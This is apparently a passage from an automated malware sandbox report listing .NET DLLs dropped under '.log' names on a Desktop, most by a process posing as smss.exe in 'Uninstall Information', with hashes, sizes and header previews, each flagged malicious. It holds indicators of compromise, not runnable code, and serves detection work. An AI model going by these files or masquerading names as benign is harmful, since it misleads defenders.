                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\WiQaIdhi.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):46592
                                                    Entropy (8bit):5.870612048031897
                                                    Encrypted:false
                                                    SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                    MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                    SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                    SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                    SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\WqzsnMHo.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):85504
                                                    Entropy (8bit):5.8769270258874755
                                                    Encrypted:false
                                                    SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                    MD5:E9CE850DB4350471A62CC24ACB83E859
                                                    SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                    SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                    SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                    C:\Users\user\Desktop\WtsawdmK.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):85504
                                                    Entropy (8bit):5.8769270258874755
                                                    Encrypted:false
                                                    SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                    MD5:E9CE850DB4350471A62CC24ACB83E859
                                                    SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                    SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                    SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                    C:\Users\user\Desktop\XcyAVMRH.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):294912
                                                    Entropy (8bit):6.010605469502259
                                                    Encrypted:false
                                                    SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                    MD5:00574FB20124EAFD40DC945EC86CA59C
                                                    SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                    SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                    SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                    C:\Users\user\Desktop\XzsXIPiL.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):23552
                                                    Entropy (8bit):5.519109060441589
                                                    Encrypted:false
                                                    SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                    MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                    SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                    SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                    SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\YBnyINgj.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):70144
                                                    Entropy (8bit):5.909536568846014
                                                    Encrypted:false
                                                    SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                    MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                    SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                    SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                    SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\YkCIeMle.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):70144
                                                    Entropy (8bit):5.909536568846014
                                                    Encrypted:false
                                                    SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                    MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                    SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                    SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                    SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\YweISMqG.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34816
                                                    Entropy (8bit):5.636032516496583
                                                    Encrypted:false
                                                    SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                    MD5:996BD447A16F0A20F238A611484AFE86
                                                    SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                    SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                    SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\YxpHNlwD.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):32256
                                                    Entropy (8bit):5.631194486392901
                                                    Encrypted:false
                                                    SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                    MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                    SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                    SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                    SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\ZQwKOPum.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):64000
                                                    Entropy (8bit):5.857602289000348
                                                    Encrypted:false
                                                    SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                    MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                    SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                    SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                    SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\ZuRPjlLy.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34816
                                                    Entropy (8bit):5.636032516496583
                                                    Encrypted:false
                                                    SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                    MD5:996BD447A16F0A20F238A611484AFE86
                                                    SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                    SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                    SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\aFkfZUqc.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.629584586954759
                                                    Encrypted:false
                                                    SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                    MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                    SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                    SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                    SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\aLJzIfLk.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33792
                                                    Entropy (8bit):5.541771649974822
                                                    Encrypted:false
                                                    SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                    MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                    SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                    SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                    SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\apiNPMiE.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):342528
                                                    Entropy (8bit):6.170134230759619
                                                    Encrypted:false
                                                    SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                    MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                    SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                    SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                    SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\awNfpiXf.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):126976
                                                    Entropy (8bit):6.057993947082715
                                                    Encrypted:false
                                                    SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                    MD5:16B480082780CC1D8C23FB05468F64E7
                                                    SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                    SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                    SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                    C:\Users\user\Desktop\axSgtvJK.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34304
                                                    Entropy (8bit):5.618776214605176
                                                    Encrypted:false
                                                    SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                    MD5:9B25959D6CD6097C0EF36D2496876249
                                                    SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                    SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                    SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\ayRrnvvB.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):70144
                                                    Entropy (8bit):5.909536568846014
                                                    Encrypted:false
                                                    SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                    MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                    SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                    SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                    SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\bTjskyyi.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):70144
                                                    Entropy (8bit):5.909536568846014
                                                    Encrypted:false
                                                    SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                    MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                    SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                    SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                    SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\bVcPzPqN.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):70144
                                                    Entropy (8bit):5.909536568846014
                                                    Encrypted:false
                                                    SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                    MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                    SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                    SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                    SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\bWhYlawW.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):342528
                                                    Entropy (8bit):6.170134230759619
                                                    Encrypted:false
                                                    SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                    MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                    SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                    SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                    SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\beRrPJXc.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34304
                                                    Entropy (8bit):5.618776214605176
                                                    Encrypted:false
                                                    SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                    MD5:9B25959D6CD6097C0EF36D2496876249
                                                    SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                    SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                    SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\bwRAVtPf.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
